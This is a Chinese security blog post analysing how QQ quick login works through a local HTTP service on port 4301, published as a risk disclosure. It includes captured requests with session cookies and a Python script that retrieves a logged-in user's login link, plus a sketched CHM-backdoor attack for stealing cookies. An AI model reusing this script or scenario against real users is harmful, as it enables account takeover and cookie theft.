老话新谈:QQ快速登录分析以及风险反思

前言

众所周知,Tencent以前使用Activex的方式实施QQ快速登录,现在快速登录已经不用控件了。那现在用了什么奇葩的方法做到Web和本地的应用程序交互呢?其实猜测一下,Web和本地应用进行交互可能采用http交互,事实也是如此。

快速登录分析

  1. 快速登陆框请求

https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&ptnoauth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23

GET /cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F HTTP/1.1
Host: xui.ptlogin2.qq.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://buluo.qq.com/
Connection: keep-alive
Upgrade-Insecure-Requests: 1

参数说明:

  • appid和daid 对应这不同的登陆服务,例如QQ空间和兴趣部落是不一样的
  • Referer必须以.qq.com域名

通过这个请求会响应cookie,比较关键的是ptlocaltoken字段

2.获取在线的QQ用户

通过上述的请求,可以获取已经登录的QQ昵称。请求与响应的具体内容如下:

请求:

GET /pt_get_uins?callback=ptui_getuins_CB&r=0.70722284119771&pt_local_tk=-1335054259 HTTP/1.1
Host: localhost.ptlogin2.qq.com:4301
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F
Cookie: pt_login_sig=SJ7R2dQseOuqFw5aaI9jiB644Ms5einfscJ5bRwUNQhiODEIvxjXz9Zfl9M7oiXL; pt_clientip=f94f0e111621e450; pt_serverip=28f40af17263c651; pt_local_token=-1335054259; uikey=f05ad77242c93930af68829cf69168c4b66d4b468840ce651b28c2bcd7587c55; pt_guid_sig=7fe38cc1b96801fbef4d41f1e91c359b2db6c9a2eef20e18e0c3e0f6ddc884fc; pgv_pvi=2505876480; pgv_si=s8995244032; _qpsvr_localtk=0.3150553721024726
Connection: keep-alive

响应:

var var_sso_uin_list=[{"account":"xxxxxxxxx","client_type":65793,"face_index":339,"gender":1,"nickname":"xxxxxxx","uin":"xxxxxxxxx","uin_flag":327156224}];ptui_getuins_CB(var_sso_uin_list);

在上面的请求中,大家可以从中发现localhost.ptlogin2.qq.com:4301 这个域名与端口,如果你尝试ping一下这个域名,发现其实它是127.0.0.1。

而4301则是QQ所监听的端口。

使用netstat -anto 命令可以看到监听4301端口的进程id为9284。

然后使用 tasklist|findstr "9284" 命令,发现确实为QQ.exe

3.点击用户头像

点击之后一定要注意cookie的变化。

3.1 cookie变化1

请求:

GET /pt_get_st?clientuin=594675898&callback=ptui_getst_CB&r=0.9726726550496937&pt_local_tk=1692729835 HTTP/1.1
Host: localhost.ptlogin2.qq.com:4301
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23
Cookie: pt_login_sig=f0Eq6l9zHyn*yYdNjJsUDxgkL1TNffDt*Ek7T4uB5KN9uD*SAQhmENn7Tbb2AUkB; pt_clientip=5c490e1116214b49; pt_serverip=aaa20af17263555d; pt_local_token=1692729835; uikey=2ff0398fd9f14f09281e369daf09808512791eccdd166e64088ee1a9bdfff26d; pt_guid_sig=a015dce2e00991b4181682d886b9b8dae892bd36dcb1afe3fcc2e93945a58cab; pgv_pvi=2505876480; pgv_si=s8995244032; _qpsvr_localtk=0.3150553721024726; qrsig=UfyPCl5FKmlPv-LqW1BONsykudZ*eQuMiyxzvPK17SSFISshoJzQNrOzd3tLVx4H; clientuin=594675898; pt2gguin=o0594675898; ETK=; pt_recent_uins=046df7337fa517d209268b658c29ffa7eed66beaed9b66d86cb700aa5bdaf630fd18757dee2e15d69465910176e5cc0328bdfcc212f7fd96; ptisp=ctc; RK=6K58L1C0Zq; ptnick_594675898=e4b880e7bc95e99d92e4b89d; ptcz=b13e557d01d48fb5f7b394288c304db80aea0ab3d62b31b492354e58b627211a
Connection: keep-alive

3.2 cookie变化2

请求:

GET /jump?clientuin=xxxxxx&keyindex=9&pt_aid=715030901&daid=371&u1=https%3A%2F%2Fbuluo.qq.com%2F%23&pt_local_tk=1240200107&pt_3rd_aid=0&ptopt=1&style=40 HTTP/1.1
Host: ssl.ptlogin2.qq.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23
Cookie: pt_login_sig=f0Eq6l9zHyn*yYdNjJsUDxgkL1TNffDt*Ek7T4uB5KN9uD*SAQhmENn7Tbb2AUkB; pt_clientip=5c490e1116214b49; pt_serverip=aaa20af17263555d; pt_local_token=1692729835; uikey=2ff0398fd9f14f09281e369daf09808512791eccdd166e64088ee1a9bdfff26d; pt_guid_sig=a015dce2e00991b4181682d886b9b8dae892bd36dcb1afe3fcc2e93945a58cab; pgv_pvi=2505876480; pgv_si=s8995244032; _qpsvr_localtk=0.3150553721024726; qrsig=UfyPCl5FKmlPv-LqW1BONsykudZ*eQuMiyxzvPK17SSFISshoJzQNrOzd3tLVx4H; clientuin=594675898; pt2gguin=o0594675898; ETK=; pt_recent_uins=046df7337fa517d209268b658c29ffa7eed66beaed9b66d86cb700aa5bdaf630fd18757dee2e15d69465910176e5cc0328bdfcc212f7fd96; ptisp=ctc; RK=6K58L1C0Zq; ptnick_594675898=e4b880e7bc95e99d92e4b89d; ptcz=b13e557d01d48fb5f7b394288c304db80aea0ab3d62b31b492354e58b627211a; clientkey=00015B7521C80068E41AB1BA5739F5BFF8428165C45817CBCAC835A19C6F28C251C05F04E948D4F1DDC57AB123A16F341FC805F5DC1B205847D7A8434BDAC5EE77A1E60ECA14B88E2687DD31CF8B62D6907E46CBD12501D22EC00F57E1F1F40A1F0B9DCACD61EBC3B035798289C41CDF
Connection: keep-alive

3.3 登陆跳转链接

在上一步的请求中,会返回最终的登陆跳转链接,把这个链接复制到浏览器中即可完成登陆

4 模拟登陆

通过上述获取的跳转链接就可以登录成功。通过对上述过程的分析,下面使用Python来进行模拟登陆。代码如下:

import re

import requests

headers= {'Referer':'https://buluo.qq.com/',
          "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
          }
##第一步获取pt_local_token
s = requests.session()
r = s.get("https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23",headers=headers)
pt_local_token = r.cookies.get('pt_local_token')

##第二步获取在线的QQ用户
r = s.get("https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.70722284119771&pt_local_tk="+pt_local_token,headers=headers)

pattern = re.compile(r'"uin":"(\d+)"')
uin = pattern.findall(r.text)
if len(uin)>0:
    #获取cookie
    s.get("https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin=%s&callback=ptui_getst_CB&r=0.9726726550496937&pt_local_tk=%s"%(uin[0],pt_local_token),headers=headers)
    r = s.get('https://ssl.ptlogin2.qq.com/jump?clientuin=%s&keyindex=9&pt_aid=715030901&daid=371&u1=https://buluo.qq.com/&pt_local_tk=%s&pt_3rd_aid=0&ptopt=1&style=40'%(uin[0],pt_local_token),headers=headers)
    pattern = re.compile(r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+')
    url = pattern.findall(r.text)
    print(url[0])

反思

QQ的快捷登录是通过在本地建立了一个服务器,并绑定了127.0.0.1,然后使浏览器访问本地服务器进行实现的。如果想盗取cookie或者是登录链接,需要黑客在你电脑上植入木马,然后和你的QQ交互才能做到。但是一细想,既然黑客已经可以在你的电脑里植入木马,完全可以获取你的QQ账号密码了。难道QQ这种通信方式真的没有反思的地方吗

个人感觉并非如此!!!QQ并没有校验请求的来源,任何一个可以发送http请求的程序均可与之交互,并获取cookie。其实这是大大降低了攻击的成本,是很容易进行恶意营销的。为什么说降低了攻击成本呢?一般的QQ盗号,是上传木马,要么截屏获取你的账号密码,要么监听你的键盘输入。这样的木马行为首先比较容易被安全软件发现,然后就算你获取了盗取了密码,在你的电脑上登陆,很容易被QQ安全中心发现,给用户发送异地登陆警告的,所以利用QQ号码盈利并不是特别的容易

但是通过本文的想法,木马在用户电脑运行,很容易获取cookie,而且安全软件并不会从你的请求中发现异样,当木马获取cookie后,就可以访问你的服务与资产,比如 在你的空间自动发帖,发邮件,查看相册等等,而且就算你换了密码都没用。盈利的方式多样,而且成本很低,传播容易。为什么说传播容易呢?

咱们可以想象这样的一个攻击场景chm文件一般是帮助文档或者是电子书,但可以作为后门,而且隐蔽性很强。chm后门和QQ交互后,获取cookie,又将自身的下载链接放到空间等等地方,继续传播。

总而言之,攻击成本降低,盈利效率提高,黑产喜欢的方式

原文发布于微信公众号 - 七夜安全博客(qiye_safe)

原文发表时间:2018-08-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏北京马哥教育

Linux主机被入侵后的处理案例

IT行业发展到现在,安全问题已经变得至关重要,从“棱镜门”事件中,折射出了很多安全问题,信息安全问题已变得刻不容缓,而做为运维人员,就必须了解一些安全运维准则,...

736120
来自专栏菜鸟致敬

【菜鸟致敬】QQ坦白说解密

1.模拟手机QQ 首先使用浏览器来模拟手机qq 这里使用的 Chrome 谷歌浏览器 其他浏览器操作一致(绝大部分主流浏览器) 然后浏览器打开开发者工具完成...

1.4K120
来自专栏拂晓风起

浅谈HTML5单页面架构(一)——requirejs + angular + angular-route

26920
来自专栏北京马哥教育

一次Linux服务器被入侵和删除木马程序的经历

? 作者 | 小小水滴 来源 | 51CTO博客 ? 糖豆贴心提醒,本文阅读时间6分钟,文末有秘密! 一、背景 晚上看到有台服务器流量跑的很高...

735100
来自专栏跟着阿笨一起玩NET

Win8找不到无线信号怎么办

  开启无线上网需要三个层次的设置需要开启:物理开关,软件开关和无线服务。只有开关都打开无线指示灯才会亮。当指示灯亮但是仍然无法搜索到无线网络信号的时候,要检查...

10820
来自专栏信安之路

Linux 应急响应流程及实战演练

当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵...

84930
来自专栏编程

(4)Superset权限使用场景

如前文所述,Superset初始化权限之后,创建5个角色,分别为Admin,Alpha,Gamma,sql_lab以及Public。Admin,Alpha和Ga...

2.4K100
来自专栏北京马哥教育

一次Linux系统被攻击的分析过程

IT行业发展到现在,安全问题已经变得至关重要,从最近的“棱镜门”事件中,折射出了很多安全问题,信息安全问题已变得刻不容缓,而做为运维人员,就必须了解一些安全运维...

69170
来自专栏安恒信息

Exim SMTP Mail Server漏洞预警

1. Exim远程命令执行漏洞 2018年2月5日,有安全研究人员向Exim报告了4.90.1之前版本的Exim SMTP Mail Server存在一个缓冲区...

45070
来自专栏Django中文社区

Django开发社交类网站必备的10个第三方应用

Django 的好处就是大而全,不仅内置了 ORM、表单、模板引擎、用户系统等,而且第三方应用的生态也是十分完善,开发中大部分常见的功能都能找到对应的第三方实现...

40070

扫码关注云+社区

领取腾讯云代金券